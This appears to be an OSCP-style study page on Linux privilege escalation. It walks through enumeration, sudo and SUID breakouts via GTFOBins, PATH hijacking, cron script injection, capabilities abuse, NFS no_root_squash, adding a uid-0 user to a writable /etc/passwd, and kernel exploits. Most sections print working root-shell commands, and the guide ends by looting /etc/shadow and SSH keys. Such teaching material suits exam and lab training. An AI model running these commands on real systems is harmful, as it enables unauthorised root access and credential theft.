Skip to content

Linux privilege escalation

← Back to index · Read the mindset page first — privesc is enumeration with a specific question: "what can I touch that runs as someone more privileged than me?"

Every Linux privesc is a variation on one idea: something runs with more privilege than you have, and you can influence what it does. A program that runs as root, a file root will read or execute, a process you can hijack. Keep that sentence in mind and every technique below becomes a search for that thing rather than a list to memorise.

First: stabilise, then enumerate as yourself

Before anything, upgrade to a real TTY (shells) — half the techniques here (su, sudo, editors) need a proper terminal. Then remember the rule from the mindset page: you just changed access, so enumerate from scratch. Run an automated script and the manual checks, because each catches what the other misses — PEAS is fast and broad but noisy; your manual eyes catch the one weird thing it buried.

./linpeas.sh | tee /tmp/lp.txt      # read it; don't just scroll past the red
./pspy64                             # watch cron/processes fire in real time — reveals root jobs you can't see statically

PEAS is allowed because it enumerates. If any script ever lands a shell by itself, that's banned auto-exploitation — you run the exploit manually, always.

The order to check things (easiest → hardest, safest → riskiest)

flowchart TD
  A["user shell"] --> B["sudo -l  (literally free — check first)"]
  B --> C["credentials in files / history / reuse"]
  C --> D["SUID/SGID binaries"]
  D --> E["cron jobs & writable scripts"]
  E --> F["capabilities, NFS, writable /etc/passwd"]
  F --> G["kernel exploit — LAST (it can crash the box = lost points)"]
Work top-down. The top vectors are reliable and reversible; the kernel exploit at the bottom can panic the machine, and a dead target scores you nothing even if it was vulnerable. Exhaust everything above it first.


sudo — check this first, every time

Why it matters: sudo runs a program as root on your behalf. If you're allowed to run even one program as root, and that program can be made to execute a shell or write a file, you're root. It costs nothing to check, so it's always move #1.

sudo -l
How to read the output. You're looking for anything you're permitted to run, especially NOPASSWD entries (no password needed). The question for each entry is: "can this program be tricked into running arbitrary commands?" — and the answer lives at GTFOBins.

Why GTFOBins works: many ordinary binaries have a feature that spawns a subprocess or runs a command — find -exec, vim :!cmd, less !cmd, awk 'BEGIN{system()}'. When you run them they spawn as you; when sudo runs them as root, that subprocess is root too. The "exploit" is just using a legitimate feature while the process happens to be privileged.

sudo find . -exec /bin/sh \; -quit     # the -exec child inherits root
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN{system("/bin/sh")}'
sudo less /etc/profile   # then type: !/bin/sh
If it fails / nothing's listed: check the sudo version (sudo --version) — < 1.9.5p2 is Baron Samedit (CVE-2021-3156), and < 1.8.28 may allow the sudo -u#-1 bypass (CVE-2019-14287). A specific binary you don't recognise? Search its name on GTFOBins anyway — if it's not there, it probably can't be abused this way, which rules it out and moves you on.

Credentials in files — the quiet winner

Why it matters: it's not glamorous, but reused and hard-coded credentials root more OSCP boxes than every kernel exploit combined. Services store DB and admin passwords in config files; users type passwords into scripts and leave them in history.

grep -rbiE 'password|passwd|secret|api[_-]?key' /var/www /etc /opt /home 2>/dev/null
cat ~/.bash_history; history; env            # typed passwords, tokens
cat ~/.ssh/id_rsa                             # a private key = ssh as that user
ls -la /home/*; find / -name "*.conf" -o -name "*.config" 2>/dev/null
The reasoning: every string that could be a password is a question — "who does this unlock?" Try it with su <user> for every user in /etc/passwd, and on every service and every other host. The password you find in a web config is frequently the root password, because admins reuse.

SUID / SGID binaries

Why it matters: a SUID binary runs with the owner's privileges, not yours — a SUID-root binary runs as root no matter who launches it. That's by design for things like passwd (it needs to edit /etc/shadow). The danger is a SUID binary that can be made to run your commands, or a non-standard one someone left behind.

find / -perm -4000 -type f 2>/dev/null       # SUID
find / -perm -2000 -type f 2>/dev/null       # SGID
How to read the output — this is the key skill. You'll get a list of ~20 binaries. Most are normal (passwd, sudo, mount, su, ping). You're hunting the one that shouldn't be there — a text editor, a language interpreter (python, perl), a backup tool, or a custom binary in /opt or a home dir. Two things to check each candidate:

  1. Is it on GTFOBins under "SUID"? If yes, it has a known breakout (same logic as sudo — it spawns a child that keeps the root euid).
    /usr/bin/find . -exec /bin/sh -p \; -quit    # -p preserves the privileged euid
    # SUID bash itself:  /bin/bash -p
    
  2. Is it a custom binary? Run strings on it. If it calls another program without an absolute path (e.g. just service instead of /usr/sbin/service), you can PATH-hijack it:
    cd /tmp; echo '/bin/bash -p' > service; chmod +x service
    export PATH=/tmp:$PATH; /opt/thecustombinary     # it runs YOUR 'service' as root
    
    This works because the program trusts $PATH to find the helper, and you control $PATH.

If it fails: the binary may drop privileges before doing anything useful, or bash -p may be disabled on newer systems (use a different GTFOBins payload, or the PATH-hijack route).

Cron jobs

Why it matters: cron runs scheduled tasks, often as root, on a timer. If a root cron executes a script you can write to, you just edit the script and wait for root to run your code.

cat /etc/crontab; ls -la /etc/cron.*; cat /etc/cron.d/*
# the better way — watch what actually fires (reveals jobs not in crontab):
./pspy64
How to read it: for each scheduled command, check the permissions of the script it runs (ls -la). World-writable (or owned by you) + runs as root = win.
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /writable/root-script.sh
# wait one cron interval, then:
/tmp/rootbash -p
Subtle variant — wildcard injection: a root cron running tar * or rsync over a directory you can write files into lets you plant filenames that act as command-line flags (e.g. tar's --checkpoint-action). Spot it when the cron uses * in a dir you control.

If pspy shows nothing root-owned firing: cron isn't your vector — move on. That's useful: it's one whole branch ruled out.

Capabilities

Why it matters: capabilities are fine-grained slices of root power attached to a binary. cap_setuid on python means python can become root without being SUID — a stealthier version of the SUID problem.

getcap -r / 2>/dev/null
# python with cap_setuid+ep:
./python -c 'import os; os.setuid(0); os.system("/bin/bash")'
Reading it: scan the (usually short) list for an interpreter or shell-capable binary carrying cap_setuid, cap_dac_read_search (read any file), etc. Match the capability to a GTFOBins "Capabilities" entry.

NFS no_root_squash

Why it matters: if the box exports an NFS share with no_root_squash, then files you create on it as root (from your Kali box) keep root ownership on the target — so you plant a root-owned SUID shell.

# spot it:
cat /etc/exports        # look for no_root_squash
showmount -e $IP        # from Kali
# exploit from Kali (as root):
mount -t nfs $IP:/export /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash
# back on the target:
/export/rootbash -p

Writable /etc/passwd

Why it matters: historically /etc/passwd could hold the password hash directly. If it's writable, you add your own root-equivalent user.

ls -la /etc/passwd                        # writable by you?
openssl passwd -1 -salt x pass123         # make a hash
echo 'hacker:<hash>:0:0::/root:/bin/bash' >> /etc/passwd   # uid 0 = root
su hacker

Kernel exploits — the last resort, and why

Why last: a kernel exploit targets a bug in the OS core. When it works it's instant root; when it's slightly off (wrong sub-version, wrong arch) it panics the machine, and a crashed exam target scores you zero even though it was "vulnerable." So you only reach for it after every misconfiguration above is exhausted.

uname -a; cat /etc/os-release
./linux-exploit-suggester.sh              # matches kernel to known CVEs
# match the EXACT kernel + architecture; read the PoC before running (see finding-exploits)
Famous ones: PwnKit (CVE-2021-4034, polkit — extremely reliable, arguably an exception to "last"), DirtyPipe (5.8–5.16), DirtyCow (old). PwnKit aside, treat kernel exploits as the move you make when nothing else is left.

After root — don't stop

cat /root/proof.txt      # screenshot WITH `id` and `ip a` in frame, or it doesn't count
Then loot for the next host — this is the mindset again: root isn't the end of a box, it's the start of the next one. Grab /root/.ssh/, /etc/shadow (crack offline for reused passwords), database dumps, and any config creds. On the exam those are often what unlocks the following machine.